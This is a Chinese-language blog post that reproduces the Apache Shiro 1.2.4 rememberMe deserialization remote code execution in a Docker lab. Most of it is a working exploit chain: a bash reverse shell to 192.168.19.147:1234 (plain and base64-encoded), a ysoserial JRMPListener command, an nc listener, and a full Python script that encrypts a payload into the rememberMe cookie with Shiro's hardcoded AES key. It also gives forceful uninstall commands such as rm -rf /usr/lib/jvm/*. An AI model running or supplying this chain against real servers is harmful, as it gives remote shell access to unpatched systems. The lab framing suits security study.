搭建环境:云服务器 ubuntu18.0.4
漏洞的原理:shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
漏洞影响的版本:Apache Shiro <= 1.2.4
payload:前16字节的密钥-->后面加入序列化参数-->Aes-128-cbc加密-->base64编码-->发送cookie
附件过程中,踩了一个大坑,坑就是我的云服务器的java不能用于复现(不晓得是什么原因),所以需要我们卸载服务器的java环境,重新安装一个
一:彻底卸载服务器java
(1) apt-get update
(2) apt-cache search java | awk '{print($1)}' | grep -E -e
'^(ia32-)?(sun|oracle)-java' -e '^openjdk-' -e '^icedtea' -e
'^(default|gcj)-j(re|dk)' -e '^gcj-(.*)-j(re|dk)' -e 'java-common' |
xargs sudo apt-get -y remove
(3) apt-get -y autoremove
2、清除配置信息: dpkg -l | grep ^rc | awk '{print($2)}' | xargs sudo apt-get -y purge
3、清除java配置及缓存: bash -c 'ls -d /home/*/.java' | xargs sudo rm -rf
4、手动清除JVMs: rm -rf /usr/lib/jvm/*
二:安装java
更新软件包列表:sudo apt-get update
安装openjdk-8-jdk:sudo apt-get install openjdk-8-jdk
三:搭建复现的环境:
拉取镜像:docker pull medicean/vulapps:s_shiro_1
启动镜像:docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
访问搭建的shiro:ip:8081

制作反弹shell 代码:
使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码
bash -I >& /dev/tcp 192.168.19.147/1234 0>&1
使用ysoserial中JRMP监听模块,监听6666端口:;
攻击机中执行命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5LjE0Ni8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
采用nc监听1234端口:
nc -lnvp 1234
Shiro_JRMPClient.py:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
#key = base64.b64decode("Z3VucwAAAAAAAAAAAAAAAA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
使用Shiro_JRMPClient.py反弹
python Shiro_JRMPClient.py 92.168.19.147:6666
此时会生成 rememberMe

此时粘贴 rememberMe进cookie中

此时就可以反弹shell了

参考链接:
https://www.jianshu.com/p/0007eafd1f92
https://blog.csdn.net/u011975363/article/details/102391669
网友评论